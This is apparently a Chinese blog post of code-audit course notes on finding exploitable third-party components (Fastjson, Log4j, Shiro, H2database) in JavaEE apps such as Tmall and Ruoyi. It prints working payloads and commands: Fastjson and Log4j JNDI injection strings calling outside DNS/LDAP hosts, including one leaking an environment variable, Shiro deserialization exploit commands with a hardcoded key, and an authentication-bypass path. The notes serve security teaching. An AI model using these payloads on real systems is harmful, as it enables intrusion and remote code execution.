代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

Ethan医生5个月前代码审计150

#JavaEE审计-第三方组件安全

1、找存在漏洞的第三方组件(Package Checker插件)

2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)

3、找可控地方进行测试检测(根据网上已知漏洞利用条件)

 

常见第三方组件或框架漏洞列表:

Solr Shiro Fastjson Jackson Log4j SnakeYaml Hessian H2database

XsteamDruidStruts2FlinkFlumeDubboRedisLogstashElasticSearchKafkaGhidraMinecraftHiveDataxStreamingDolphin SchedulerStormSpring等。



#Tmall-Fastjson 1.2.58

触发点:JSON.parseObject() JSON.parse()

全局搜索->JSON.parseObject()->propertyJson->admin/product

{"@type":"java.net.Inet4Address","val":"gc6gcn.dnslog.cn"}

 

#Tmall-Log4j 2.10.0

触发点:logger.error logger.info

全局搜索->logger.info->originalFileName->admin/uploadAdminHeadImage

${jndi:ldap://${env:OS}.mq6bqf.dnslog.cn}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

 

#Ruoyi-Shiro 1.4.2

1、反序列化:

setCipherKey->fCq+/xW488hMTCD+cmJ3aQ==

https://github.com/Ares-X/shiro-exploit

python shiro-exploit.py check -u http://192.168.1.2/

python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://192.168.1.2/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

 

2、权限绕过:

-anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口

-authc为登录拦截器,需要登录认证才能访问的资源。

例子:

[urls]

/index.html = anon 允许访问

/user/** = authc 需要验证

shiro匹配规则

?:匹配一个字符

*:匹配零个或多个字符串

**:匹配路径中的零个或多个路径

配置:com/ruoyi/framework/config/ShiroConfig.java

绕过:https://www.freebuf.com/vuls/231909.html

测试:/ajax;/../common/download/resource?resource=/profile/1.txt

 

#Halo-H2database 1.4.197

H2database->application.yaml->web-allow-others: true

javax.naming.InitialContext

ldap://192.168.139.1:1389/5eebf8

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"


相关文章

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

#知识预备:1、三大类:Listen,Filter,Servlet2、内存马技术解读(类型,植入,查杀等)3、其他技术原理分类(见上图见打包资源)(红队方向)了解什么是内存马,它有那些类型,和常规Sh...

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

#Shiro反序列化链知识点:1、Shiro用途和验证逻辑2、Shiro反序列化怎么造成3、Shiro反序列化漏洞利用 #Shiro反序列化链分析当获取用户请求时,大致的关键处理过程如下:·...

JavaEE开发篇&文件安全&上传下载读取写入&功能点入口&Filter过滤器

#JavaEE审计-文件安全-上传&下载&读取&写入等1、搜索类别:业务关键字&相关操作类&封装关键字2、功能点也适用,直接找文件操作功能进行代码追溯new F...

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

#FastJson反序列化链知识点1、为什么触发方法会存在反序列化?2、利用链为什么要那样写才能触发?3、高版本中有哪些防御手段又怎么绕过的? #FastJson反序列化链分析基础参考:ht...

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

#补充JS逆向浏览器插件Hook JS算法脚本1、安装Tampermonkey(扶墙谷歌商店安装)2、添加和启用JS插件3、测试登录看控制台脚本地址:https://github.com/Captai...

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

#JNDI注入-低版本-原生开发&触发模式-重要知识:1、JNDI,LDAP,RMI,反序列化关系2、LDAP,RMI利用时JDK版本限制3、JDK高版本绕过方法的所需条件注:前面2个知识点可...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。